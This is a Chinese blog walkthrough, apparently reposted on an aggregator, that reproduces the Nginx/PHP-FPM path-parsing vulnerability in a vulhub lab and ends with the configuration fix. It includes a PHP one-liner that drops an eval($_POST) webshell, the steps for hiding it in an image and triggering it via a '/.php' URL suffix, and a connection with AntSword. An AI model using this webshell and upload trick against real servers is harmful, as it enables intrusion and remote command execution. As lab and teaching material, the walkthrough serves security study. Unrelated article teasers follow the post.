复现Nginx 解析漏洞

news/2024/5/8 10:12:39/文章来源:https://blog.csdn.net/weixin_59280309/article/details/130393892

目录

漏洞原理

漏洞复现

编译环境

制作图片马

一:随便弄一张图片

二:准备写一个.php文件,写上木马

三:合成图片马

上传图片马

修复漏洞


漏洞原理

1、 由于nginx.conf的如下配置导致nginx把以’.php’结尾的文件交给fastcgi处理,为此可以构造http://ip/uploadfiles/test.png/.php (url结尾不一定是‘.php’,任何服务器端不存在的php文件均可,比如’a.php’),其中test.png是我们上传的包含PHP代码的照片文件。

2、但是fastcgi在处理’.php’文件时发现文件并不存在,这时php.ini配置文件中cgi.fix_pathinfo=1 发挥作用,这项配置用于修复路径,如果当前路径不存在则采用上层路径。为此这里交由fastcgi处理的文件就变成了’/test.png’。

3、 最重要的一点是php-fpm.conf中的security.limit_extensions配置项限制了fastcgi解析文件的类型(即指定什么类型的文件当做代码解析),此项设置为空的时候才允许fastcgi将’.png’等文件当做代码解析。

注:限制fpm允许解析的脚本扩展名。此设置可以预防web服务器配置的错误。应当限制fpm仅仅解析.php扩展名,阻止恶意用户使用其他扩展名运行php代码。默认值:.php

漏洞复现

该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞。

编译环境

该环境使用vulhub搭建,该漏洞路径为 vulhub/nginx/nginx_parsing_vulnerability

直接执行docker-compose up -d启动容器,无需编译。

制作图片马

一:随便弄一张图片

二:准备写一个.php文件,写上木马

<?php fputs(fopen('shell.php','w'),'<?php eval($_POST["cmd"]);echo"hacker"?>');?>

三:合成图片马

copy /b 图片文件+木马文件 合成后的图片马名称.jpg

 

 可以看到,图片能正常打开

 上传到测试机中

 

上传图片马

 

成功上传

访问图片

正常显示

这时候在URL后加上/.php,让其运行php命令

会发现看不到我们写入的php命令了,但是其实是因为他已经成功执行了,这时候在uploadfiles的目录下已经成功生成了名为shell.php的文件,我们只需要访问该文件就可以了

注:

在URL后加上/.php可能会出现上图的错误信息,多试几次,换几张不同的照片重复制作图片马,会成功的

这个时候就可以打开中国蚁剑进行连接,连接成功后就可以进入到靶机内部

修复漏洞

修改php-fpm.conf的配置文件

 重启环境

docker-compose restart

浏览器再次访问加上./php的图片地址,发现被拒绝,说明漏洞被修复

参考:

https://blog.csdn.net/Tauil/article/details/125888127

https://www.cnblogs.com/yuzly/p/11208742.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_104124.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

科大讯飞版ChatGPT开始内测《讯飞星火》

科大讯飞版ChatGPT产品&#xff0c;提前交卷了&#xff01; 就在昨夜&#xff0c;讯飞骤然向开发者提供了内测通道&#xff0c;取名为讯飞星火认知大模型对外开启内测。 还有个神奇的英文名字Spark Desk&#xff0c;据说有“火花桌面智能助手”的意思。 申请的过程很简单。用…

leetcode21 - - 合并两个有序链表

文章目录 1.题目描述2.解题思路方法1&#xff1a;方法2&#xff1a; 1.题目描述 题目链接&#xff1a;力扣21&#xff0c;合并两个有序链表 将两个升序链表合并为一个新的 升序 链表并返回。新链表是通过拼接给定的两个链表的所有节点组成的。 2.解题思路 方法1&#xff1a;…

Docker安装mysql8.0文档

第一步需要安装Docker基础环境&#xff0c;具体可以看看这篇 docker基础篇 第二步&#xff0c;拉取mysql8.0的镜像 docker pull mysql:8.0 第三步&#xff0c;镜像启动和文件挂载 复制下面命令执行&#xff0c;33006是对外访问暴露的端口&#xff0c;当然你也可以设置为3306…

这个假期有这些游戏就不怕无聊了

1、塞尔达传说旷野之息 Switch端的优秀游戏体验不容错过&#xff01; 人气王《塞尔达传说》&#xff01; 被玩家誉为“唯一让人长大后有种回到童年的感觉的作品”。 豆瓣网友写道&#xff1a;“在雨夜&#xff0c;我在寺庙里看到了一条白龙划过天空&#xff0c;在岩壁上看到了…

SpringBoot拦截器的使用

Hi I’m Shendi SpringBoot拦截器的使用 简介 最近要实现一个全局对象的传递&#xff0c;在接口中直接通过增加函数参数来直接使用的这种方式 之前一直使用的是过滤器&#xff0c;但这种需求过滤器是没有办法实现的&#xff0c;过滤器可以给请求注入字符串&#xff0c;但不能…

JavaEE初阶学习:初识网络

1.网络发展史 1.独立模式 独立模式:计算机之间相互独立&#xff1b; 2.网络互连 随着时代的发展&#xff0c;越来越需要计算机之间互相通信&#xff0c;共享软件和数据&#xff0c;即以多个计算机协同工作来完成业务&#xff0c;就有了网络互连。 网络互连&#xff1a;将多…

yolov5半自动打标签(opencv版本),识别目标画框并将坐标信息保存在xml中

文章目录 1.yolov5预训练模型推理2. opencv边缘检测结果展示 yolov5训练数据集时&#xff0c;需要对数据进行打标签&#xff0c;可以通过两种方法进行半自动化打标签。 1.yolov5预训练模型推理 yolov5预训练模型&#xff1a;将待打标签的图片输入预训练模型中进行推理&#xf…

深入分析,Redis为什么这么快?

我们都知道Redis很快&#xff0c;它QPS可达10万&#xff08;每秒请求数&#xff09; Redis为什么这么快&#xff1f; 基于内存实现高效的数据结构合理的数据编码合理的线程模型虚拟内存机制 基于内存实现 我们都知道内存读写是比磁盘读写快很多的。Redis是基于内存存储实现的…

除了Figma,再给你介绍10款好用的协同设计软件

组织结构越来越复杂&#xff0c;团队中的每个人都有独特的技能、经验和专业知识。我们怎样才能让团队更好地合作&#xff1f;在这种情况下&#xff0c;协同设计应运而生。 UI的未来是协同设计&#xff01;如果你想把握未来的设计趋势&#xff0c;不妨从使用高效的协同设计软件…

Figma导出源文件的方法,用这个方法快速转换其它格式

市场上设计工具层出不穷&#xff0c;Sketch、AdobeXD、Axure、InVision、Figma、Pixso等都是优秀的设计工具&#xff0c;设计师经常面临如何从设计工具中导出文件的问题。 Figma软件的导出功能非常强大&#xff0c;因为轻量化体验受到很多设计师的喜爱。如何保存导出Figma源文…

一键免费部署你的私人 ChatGPT 网页应用

主要功能 在 1 分钟内使用 Vercel &#xff08;https://vercel.com/&#xff09;免费一键部署精心设计的 UI&#xff0c;响应式设计&#xff0c;支持深色模式极快的首屏加载速度&#xff08;~100kb&#xff09;海量的内置 prompt 列表&#xff0c;来自中文和英文自动压缩上下文…

【JavaScript】new命令精华总结

相关概念 对象是什么? 1.对象是单个实物的抽象 2.对象是一个容器&#xff0c;封装了属性和方法 属性是对象的状态&#xff0c;方法是对象的行为&#xff0c;把对象中的函数一般称为方法 构造函数 专门用来生成实例对象的函数&#xff0c;是对象的模板&#xff0c;第一个字…

C++入门基础知识[博客园长期更新......]

0.博客园链接 博客的最新内容都在博客园当中&#xff0c;所有内容均为原创(博客园、CSDN同步更新)。 C知识点集合 1.命名空间 在往后的C编程中&#xff0c;将会存在大量的变量和函数&#xff0c;因为有大量的变量和函数&#xff0c;所以C的库会非常多。那么在C语言编程中&a…

mysql数据库自动备份

前言 服务器中数据库的数据是最重要的东西,如果因为某些情况导致数据库数据错误,数据错乱或数据库崩溃,这时一定要及时的修复,但如果数据丢失或数据没法用了,这时就要回滚数据了,而这时就需要我们经常的备份数据库的数据 正文 一般别人都会推荐使用Navicat来备份和连接数据库…

常见的链表的OJ题

在本次的博客当中&#xff0c;为了巩固关于链表技能的运用&#xff0c;我们先来看一些与链表有关的OJ题。 &#x1f335;反转链表 题目详情如下&#xff1a; 第一道题目从逻辑上看不难&#xff0c;我们只需要将链表进行拆分&#xff0c;将我们下一个节点进行一个类似于头插的操…

无良公司把我从上家挖过来,白嫖了六个月,临近试用期结束才说不合适,催我赶紧找下家!...

职场套路多&#xff0c;一不小心就会掉坑&#xff0c;一位网友讲述了自己的遭遇&#xff1a; 今天被领导催促离职了&#xff0c;当时就是这个领导把他从别的公司挖过来。这家公司催得太急&#xff0c;为了投奔这里&#xff0c;他和上家的HR都闹翻了&#xff0c;上家总监挽留他&…

【信息安全案例】——身份与访问安全(学习笔记)

&#x1f4d6; 前言&#xff1a;一位用户对计算机信息资源的访问活动中&#xff0c;首先必须拥有身份标识&#xff0c;通过该标识鉴别该用户的身份&#xff0c;进一步地&#xff0c;用户还应当具有执行所请求动作的必要权限&#xff0c;系统会验证并控制其能否执行对资源试图完…

31-基于GA遗传算法的车辆充电调度系统优化matlab程序

资源地址&#xff1a; 主要内容&#xff1a; 研究多辆电动汽车的充电调度问题&#xff0c;考虑某时段区域范围内有M 辆电动汽车发出充电请求时&#xff0c;周围有N 个充电桩可以提供充电位的调度情况。把当前调度时段电动汽车和充电桩的基本数据加载到调度中心&#xff0c;调度…

华为OD机试真题(Java),旋转数组的最小数字(100%通过+复盘思路)

一、题目描述 有一个长度为 n 的非降序数组&#xff0c;比如[1,2,3,4,5]&#xff0c;将它进行旋转&#xff0c;即把一个数组最开始的若干个元素搬到数组的末尾&#xff0c;变成一个旋转数组&#xff0c;比如变成了[3,4,5,1,2]&#xff0c;或者[4,5,1,2,3]这样的。请问&#xf…

Linux系列讲解 —— SSH登录

讲解一下ssh远程登陆的基础知识。 目录 0. 基本原理1. 安装ssh程序&#xff1a;1.1 windows平台(Win10)1.2 Linux平台(Ubuntu18.04) 2. 密码方式远程登录3. 密钥方式远程登录3.1 生成私钥公钥对3.2 将公钥复制到远程机器3.3 尝试ssh远程登录 4. 常见问题4.1 sun192.168.1.21: P…